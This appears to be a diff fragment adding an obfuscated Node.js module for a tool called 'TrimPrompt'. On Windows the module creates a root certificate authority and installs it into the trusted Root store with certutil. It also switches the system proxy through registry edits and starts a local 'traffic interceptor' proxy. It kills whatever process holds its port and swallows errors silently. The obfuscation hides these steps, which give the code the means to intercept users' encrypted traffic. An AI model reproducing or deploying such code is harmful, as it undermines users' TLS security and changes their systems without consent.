_0xdd338a=a0_0x3f5da8,_0x4be568=http[_0xdd338a(0xd9)]();_0x4be568['on'](_0xdd338a(0xf8),_0x3abc86=>{const _0x3b34b7=_0xdd338a;if(_0x3abc86[_0x3b34b7(0xe0)]===_0x3b34b7(0x11b)){console[_0x3b34b7(0x108)](_0x3b34b7(0x118)+_0x3c1f7c+_0x3b34b7(0xef));try{if(process['platform']==='win32'){const _0x4cde93=(0x0,child_process_1[_0x3b34b7(0xdb)])(_0x3b34b7(0xeb)+_0x3c1f7c+_0x3b34b7(0xfb),{'encoding':_0x3b34b7(0xca),'timeout':0xbb8}),_0xd2d7f2=_0x4cde93['trim']()[_0x3b34b7(0xe5)](/\s+/),_0x339f19=_0xd2d7f2[_0xd2d7f2[_0x3b34b7(0xd0)]-0x1];if(_0x339f19&&_0x339f19!==String(process['pid'])){(0x0,child_process_1[_0x3b34b7(0xdb)])(_0x3b34b7(0x115)+_0x339f19+_0x3b34b7(0xf7),{'stdio':'ignore','timeout':0xbb8}),console[_0x3b34b7(0x108)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x339f19+_0x3b34b7(0xe2)),setTimeout(()=>_0x4be568[_0x3b34b7(0x102)](_0x3c1f7c,'127.0.0.1'),0x1f4);return;}}}catch{}console[_0x3b34b7(0xf8)](_0x3b34b7(0x118)+_0x3c1f7c+_0x3b34b7(0xf2));}else console[_0x3b34b7(0xf8)]('[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20'+_0x3abc86[_0x3b34b7(0xe6)]);}),_0x4be568['on'](_0xdd338a(0x109),(_0x3d1458,_0x2e301a)=>{const _0x22e0e4=_0xdd338a;_0x2e301a[_0x22e0e4(0xe4)](0xc8,{'Content-Type':_0x22e0e4(0xc8)}),_0x2e301a['end'](JSON[_0x22e0e4(0xed)]({'status':_0x22e0e4(0xf0),'url':_0x3d1458[_0x22e0e4(0xf4)]}));}),_0x4be568['on'](_0xdd338a(0xfe),(_0x4d10ed,_0x4b3a45,_0x1a2397)=>{const _0x392401=_0xdd338a,[_0x17f56d,_0x23a0e1]=(_0x4d10ed[_0x392401(0xf4)]||'')[_0x392401(0xe5)](':'),_0x32961e=parseInt(_0x23a0e1,0xa)||0x1bb,_0x3b646b=net['connect'](_0x32961e,_0x17f56d,()=>{const _0x495047=_0x392401;_0x4b3a45[_0x495047(0xc7)](_0x495047(0x105)),_0x3b646b[_0x495047(0xc7)](_0x1a2397),_0x3b646b[_0x495047(0xcd)](_0x4b3a45),_0x4b3a45[_0x495047(0xcd)](_0x3b646b);});_0x3b646b['on'](_0x392401(0xf8),()=>{try{_0x4b3a45['end']();}catch{}}),_0x4b3a45['on'](_0x392401(0xf8),()=>{try{_0x3b646b['end']();}catch{}});}),_0x4be568[_0xdd338a(0x102)](_0x3c1f7c,'127.0.0.1',()=>{const _0xae2d27=_0xdd338a;console[_0xae2d27(0x108)]('[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:'+_0x3c1f7c);});}
|
|
1
|
+
'use strict';const a0_0xb2c0a4=a0_0x3737;function a0_0x3737(_0x2fdba7,_0x2b8743){_0x2fdba7=_0x2fdba7-0x91;const _0x50f0d9=a0_0x50f0();let _0x3737a2=_0x50f0d9[_0x2fdba7];return _0x3737a2;}(function(_0x1cff9d,_0x31f6ab){const _0x4f6451=a0_0x3737,_0xeb7447=_0x1cff9d();while(!![]){try{const _0x493ff0=parseInt(_0x4f6451(0xa3))/0x1*(parseInt(_0x4f6451(0xbc))/0x2)+parseInt(_0x4f6451(0x98))/0x3*(-parseInt(_0x4f6451(0xdc))/0x4)+-parseInt(_0x4f6451(0xb1))/0x5+-parseInt(_0x4f6451(0xa1))/0x6+parseInt(_0x4f6451(0xc9))/0x7*(-parseInt(_0x4f6451(0xd0))/0x8)+parseInt(_0x4f6451(0xbb))/0x9*(parseInt(_0x4f6451(0xd9))/0xa)+-parseInt(_0x4f6451(0x9c))/0xb*(-parseInt(_0x4f6451(0xa2))/0xc);if(_0x493ff0===_0x31f6ab)break;else _0xeb7447['push'](_0xeb7447['shift']());}catch(_0x1196e9){_0xeb7447['push'](_0xeb7447['shift']());}}}(a0_0x50f0,0x813e5));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x29fafd,_0x346e4d,_0x327cc9,_0xd21df){const _0xdddbe0=a0_0x3737;if(_0xd21df===undefined)_0xd21df=_0x327cc9;var _0x559c31=Object[_0xdddbe0(0xab)](_0x346e4d,_0x327cc9);(!_0x559c31||(_0xdddbe0(0xad)in _0x559c31?!_0x346e4d['__esModule']:_0x559c31['writable']||_0x559c31[_0xdddbe0(0xd2)]))&&(_0x559c31={'enumerable':!![],'get':function(){return _0x346e4d[_0x327cc9];}}),Object[_0xdddbe0(0xca)](_0x29fafd,_0xd21df,_0x559c31);}:function(_0x584e80,_0x4c4743,_0x3181a2,_0x3a62c7){if(_0x3a62c7===undefined)_0x3a62c7=_0x3181a2;_0x584e80[_0x3a62c7]=_0x4c4743[_0x3181a2];}),__setModuleDefault=this&&this[a0_0xb2c0a4(0xaf)]||(Object['create']?function(_0x510f44,_0x59a5e4){const _0x4fb747=a0_0xb2c0a4;Object['defineProperty'](_0x510f44,_0x4fb747(0xe6),{'enumerable':!![],'value':_0x59a5e4});}:function(_0x3d8c18,_0x52c20c){const _0x9872b=a0_0xb2c0a4;_0x3d8c18[_0x9872b(0xe6)]=_0x52c20c;}),__importStar=this&&this['__importStar']||(function(){var _0x1dbb5b=function(_0xce547b){const _0x3ec379=a0_0x3737;return _0x1dbb5b=Object[_0x3ec379(0xeb)]||function(_0x3caf64){const _0x7d0850=_0x3ec379;var _0x5a981d=[];for(var _0x4249b5 in _0x3caf64)if(Object['prototype'][_0x7d0850(0xa5)][_0x7d0850(0x9f)](_0x3caf64,_0x4249b5))_0x5a981d[_0x5a981d[_0x7d0850(0x97)]]=_0x4249b5;return _0x5a981d;},_0x1dbb5b(_0xce547b);};return function(_0xbc65e4){const _0x264962=a0_0x3737;if(_0xbc65e4&&_0xbc65e4[_0x264962(0xcd)])return _0xbc65e4;var _0x9a2976={};if(_0xbc65e4!=null){for(var _0x1260f6=_0x1dbb5b(_0xbc65e4),_0x2fa4c5=0x0;_0x2fa4c5<_0x1260f6[_0x264962(0x97)];_0x2fa4c5++)if(_0x1260f6[_0x2fa4c5]!=='default')__createBinding(_0x9a2976,_0xbc65e4,_0x1260f6[_0x2fa4c5]);}return __setModuleDefault(_0x9a2976,_0xbc65e4),_0x9a2976;};}());Object[a0_0xb2c0a4(0xca)](exports,a0_0xb2c0a4(0xcd),{'value':!![]}),exports[a0_0xb2c0a4(0xdb)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0xb2c0a4(0xb4)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xb2c0a4(0xdf))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xb2c0a4(0x93))),crypto=__importStar(require(a0_0xb2c0a4(0xb7))),child_process_1=require(a0_0xb2c0a4(0xc4)),baseDir=path[a0_0xb2c0a4(0x95)](os[a0_0xb2c0a4(0xe9)](),'.trimprompt'),caCertPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xb8)),caKeyPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xa9));function ensureBaseDir(){const _0x6b772b=a0_0xb2c0a4;if(!fs[_0x6b772b(0xa6)](baseDir))fs[_0x6b772b(0x9a)](baseDir,{'recursive':!![]});}function a0_0x50f0(){const _0x3312d9=['989261REWhGp','defineProperty','createPrivateKey','rsa','__esModule','TrimPrompt\x20Traffic\x20Interceptor\x20Active','readFileSync','8SmsDgn','platform','configurable','Set-ItemProperty\x20-Path\x20\x27','trim','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','url','40hwagjs','sha256','generateCaCertificate','8bBLELw','netstat\x20-ano\x20|\x20findstr\x20:','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','path','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','EADDRINUSE','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','write','createServer','default','pid','writeFileSync','homedir','generateKeyPairSync','getOwnPropertyNames','listen','powershell.exe\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','execSync','writeHead','http','win32','join','.\x20Retrying\x20listen...','length','1210098hfpumg','export','mkdirSync','error','965096ALzTUc','setPublicKey','\x20/F','call','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','197190ivAUbP','96wDjDPZ','40374kavRVu','\x20|\x20findstr\x20LISTENING','hasOwnProperty','existsSync','request','createPublicKey','ca.key','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','getOwnPropertyDescriptor','replace','get','spki','__setModuleDefault','message','731855SXOhoW','pem','createCertificate','disableSystemProxy','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','split','crypto','ca.crt','log','connect','1239849icefEV','20JgvqwH','utf8','application/json','ignore','toString','end','setIssuer','code','child_process','127.0.0.1:','setSubject','taskkill\x20/PID\x20','127.0.0.1'];a0_0x50f0=function(){return _0x3312d9;};return a0_0x50f0();}function generateCaCertificate(){const _0x1976d5=a0_0xb2c0a4;ensureBaseDir();if(fs[_0x1976d5(0xa6)](caCertPath)&&fs[_0x1976d5(0xa6)](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x1976d5(0xbd)),'key':fs[_0x1976d5(0xcf)](caKeyPath,_0x1976d5(0xbd))};const {privateKey:_0x439cdc,publicKey:_0x317f86}=crypto[_0x1976d5(0xea)](_0x1976d5(0xcc),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x1976d5(0xae),'format':_0x1976d5(0xb2)},'privateKeyEncoding':{'type':'pkcs8','format':_0x1976d5(0xb2)}}),_0x2fc61a=crypto['createCertificate']?crypto[_0x1976d5(0xb3)]():null;let _0x2f3529='';return _0x2fc61a?(_0x2fc61a[_0x1976d5(0xc6)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x2fc61a[_0x1976d5(0xc2)](_0x1976d5(0xe0)),_0x2fc61a[_0x1976d5(0x9d)](crypto[_0x1976d5(0xa8)](_0x317f86)),_0x2fc61a['sign'](crypto[_0x1976d5(0xcb)](_0x439cdc),_0x1976d5(0xda)),_0x2f3529=_0x2fc61a[_0x1976d5(0x99)]('pem')[_0x1976d5(0xc0)]()):_0x2f3529=_0x317f86,fs[_0x1976d5(0xe8)](caKeyPath,_0x439cdc,_0x1976d5(0xbd)),fs[_0x1976d5(0xe8)](caCertPath,_0x2f3529,'utf8'),{'cert':_0x2f3529,'key':_0x439cdc};}function installSystemCaCert(){const _0x1b21ab=a0_0xb2c0a4;if(process['platform']!==_0x1b21ab(0x94))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x1b21ab(0x91)])(_0x1b21ab(0xe3)+caCertPath+'\x22',{'stdio':_0x1b21ab(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x2e46ac=0x1f90){const _0x214a3b=a0_0xb2c0a4;if(process[_0x214a3b(0xd1)]!==_0x214a3b(0x94))return![];try{const _0xc6d2b9=_0x214a3b(0xd6),_0x334206=_0x214a3b(0xc5)+_0x2e46ac,_0x17fc38='Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+_0x214a3b(0xd7)+_0x334206+'\x27';return(0x0,child_process_1['execSync'])(_0x214a3b(0xed)+_0x17fc38[_0x214a3b(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x5760d5=a0_0xb2c0a4;if(process[_0x5760d5(0xd1)]!==_0x5760d5(0x94))return![];try{const _0x34ed52=_0x5760d5(0xd6),_0x498354=_0x5760d5(0xd3)+_0x34ed52+_0x5760d5(0xee);return(0x0,child_process_1['execSync'])(_0x5760d5(0xed)+_0x498354[_0x5760d5(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x5760d5(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x413ec0=0x1f90){const _0x3700de=a0_0xb2c0a4,_0x20398b=http[_0x3700de(0xe5)]();_0x20398b['on'](_0x3700de(0x9b),_0x1072d6=>{const _0x28b9a6=_0x3700de;if(_0x1072d6[_0x28b9a6(0xc3)]===_0x28b9a6(0xe1)){console['log'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xa0));try{if(process[_0x28b9a6(0xd1)]===_0x28b9a6(0x94)){const _0xde89d3=(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xdd)+_0x413ec0+_0x28b9a6(0xa4),{'encoding':_0x28b9a6(0xbd),'timeout':0xbb8}),_0x214349=_0xde89d3[_0x28b9a6(0xd4)]()[_0x28b9a6(0xb6)](/\s+/),_0xb641b0=_0x214349[_0x214349[_0x28b9a6(0x97)]-0x1];if(_0xb641b0&&_0xb641b0!==String(process[_0x28b9a6(0xe7)])){(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xc7)+_0xb641b0+_0x28b9a6(0x9e),{'stdio':_0x28b9a6(0xbf),'timeout':0xbb8}),console[_0x28b9a6(0xb9)](_0x28b9a6(0xb5)+_0xb641b0+_0x28b9a6(0x96)),setTimeout(()=>_0x20398b[_0x28b9a6(0xec)](_0x413ec0,_0x28b9a6(0xc8)),0x1f4);return;}}}catch{}console['error'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xd5));}else console[_0x28b9a6(0x9b)](_0x28b9a6(0xe2)+_0x1072d6[_0x28b9a6(0xb0)]);}),_0x20398b['on'](_0x3700de(0xa7),(_0x53e25d,_0x2f7a90)=>{const _0x4ca3a6=_0x3700de;_0x2f7a90[_0x4ca3a6(0x92)](0xc8,{'Content-Type':_0x4ca3a6(0xbe)}),_0x2f7a90[_0x4ca3a6(0xc1)](JSON['stringify']({'status':_0x4ca3a6(0xce),'url':_0x53e25d['url']}));}),_0x20398b['on']('connect',(_0x1fa43e,_0x1b6526,_0x5529d1)=>{const _0x945821=_0x3700de,[_0x92c4b0,_0xfbd4e]=(_0x1fa43e[_0x945821(0xd8)]||'')[_0x945821(0xb6)](':'),_0x51a6f7=parseInt(_0xfbd4e,0xa)||0x1bb,_0x542d54=net[_0x945821(0xba)](_0x51a6f7,_0x92c4b0,()=>{const _0x52ae76=_0x945821;_0x1b6526[_0x52ae76(0xe4)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x542d54[_0x52ae76(0xe4)](_0x5529d1),_0x542d54['pipe'](_0x1b6526),_0x1b6526['pipe'](_0x542d54);});_0x542d54['on'](_0x945821(0x9b),()=>{const _0x225faf=_0x945821;try{_0x1b6526[_0x225faf(0xc1)]();}catch{}}),_0x1b6526['on']('error',()=>{const _0x56ae86=_0x945821;try{_0x542d54[_0x56ae86(0xc1)]();}catch{}});}),_0x20398b['listen'](_0x413ec0,_0x3700de(0xc8),()=>{const _0xb634f6=_0x3700de;console[_0xb634f6(0xb9)](_0xb634f6(0xaa)+_0x413ec0);});}
|